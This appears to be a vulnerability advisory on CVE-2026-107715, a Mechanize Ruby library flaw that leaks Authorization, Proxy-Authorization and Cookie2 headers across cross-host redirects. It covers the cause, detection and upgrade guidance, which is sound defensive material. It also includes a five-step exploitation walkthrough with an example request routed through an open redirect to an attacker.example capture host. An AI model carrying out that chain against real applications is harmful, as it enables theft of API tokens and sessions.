CVE-2026-107715: 
Ruby vulnerability analysis and mitigation

CVE-2026-107715 is a credential disclosure vulnerability in the Mechanize Ruby library (used for automating web interactions) where caller-supplied credential headers are forwarded to a different host after an HTTP redirect. Affecting all versions prior to 2.14.1, the flaw allows an attacker who controls a redirect target to capture bearer tokens, session cookies, Proxy-Authorization, and Cookie2 headers supplied via request_headers= or per-request headers. It was disclosed on October 8, 2026, with a fix released in version 2.14.1. The CVSS v3.1 base score is 6.8 (Medium) (GitHub Advisory).

The vulnerability stems from two distinct defects in lib/mechanize/http/agent.rb (CWE-200, CWE-522, CWE-212). First, Mechanize#request_headers= — the documented method for setting default credentials — bypassed the redirect strip entirely: #request_add_headers re-applied @request_headers unconditionally on every request, including those following cross-host redirects, while #response_redirect's strip only mutated the per-request headers hash and never touched agent state. Second, the protected header lists (CREDENTIAL_HEADERS and COOKIE_HEADERS) omitted Proxy-Authorization and Cookie2, so those headers were never stripped even for per-request headers on cross-host redirects. Additionally, the origin check was recomputed per-hop rather than tracked for the whole operation, meaning a withheld credential could be re-sent on a second redirect hop, authentication retry, meta refresh, or robots.txt lookup (GitHub Advisory, Fix PR #676).

Exploitation results in confidential credential disclosure — specifically, bearer tokens, session cookies, Proxy-Authorization credentials, and Cookie2 values set by the caller are exposed to an attacker-controlled host. There is no integrity or availability impact. Credentials managed through Mechanize#cookie_jar and Mechanize::HTTP::AuthStore are not affected, as those are scoped per-URI. Applications using Mechanize to automate authenticated interactions with web services are at risk of having their API tokens or session credentials stolen by any party capable of controlling a redirect target (GitHub Advisory).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation as of the disclosure date (GitHub Advisory). The EPSS score is 0.0, reflecting low current exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. Exploitation requires the attacker to control a redirect target, achievable via an open redirect on the fetched site, an attacker-supplied fetch URL, DNS rebinding, or a man-in-the-middle position. The vulnerability was reported by researcher @SnailSploit (GitHub Advisory).

1. Set up a redirect chain: The attacker controls or compromises a server that issues an HTTP redirect (3xx response) pointing to an attacker-controlled host (e.g., via an open redirect vulnerability on the legitimate site, a supplied URL, or DNS rebinding).
2. Identify a vulnerable Mechanize client: Locate a Ruby application using Mechanize < 2.14.1 that sets credentials via agent.request_headers = { 'Authorization' => 'Bearer <token>' } or passes credentials in per-request headers.
3. Trigger the redirect: Cause the Mechanize client to fetch a URL on the legitimate host that redirects to the attacker's host. For example: agent.get('https://legitimate.example/open-redirect?url=https://attacker.example/capture').
4. Capture the credential headers: The attacker's server receives the follow-up request from the Mechanize client, which includes the Authorization: Bearer <token>, Proxy-Authorization, or Cookie2 headers that should have been stripped on the cross-host redirect.
5. Use captured credentials: The attacker replays the stolen bearer token or session cookie against the original service to impersonate the victim application (GitHub Advisory, Fix PR #676).

• Network: Unexpected outbound HTTP requests from a Mechanize-based application to unfamiliar or attacker-controlled hosts carrying Authorization, Proxy-Authorization, or Cookie2 headers; cross-origin redirect chains in HTTP traffic logs where sensitive headers appear on the redirected request.
• Logs: Application or proxy logs showing HTTP 3xx redirect responses followed by requests to a different host domain/IP that include credential headers; unusual robots.txt fetch requests to foreign origins carrying Authorization headers.
• Application Behavior: Unexpected authentication failures or token invalidation on the legitimate service, potentially indicating credential reuse by an attacker after capture.

Upgrade Mechanize to version 2.14.1 or later, which fixes both defects: request_headers= credentials are now withheld from cross-origin redirect targets, and CREDENTIAL_HEADERS and COOKIE_HEADERS have been expanded to include Proxy-Authorization and Cookie2 respectively (GitHub Advisory, Fix PR #676). As a workaround for applications that cannot immediately upgrade, set Mechanize#redirect_ok = false and handle redirects explicitly, or avoid using request_headers= for credentials and instead pass them only per-request to hosts you explicitly control. Note that custom credential headers using non-standard names (e.g., X-API-Key, X-Vault-Token) are still forwarded across origins even in the patched version, so redirect following should be disabled for any request carrying such headers (GitHub Advisory).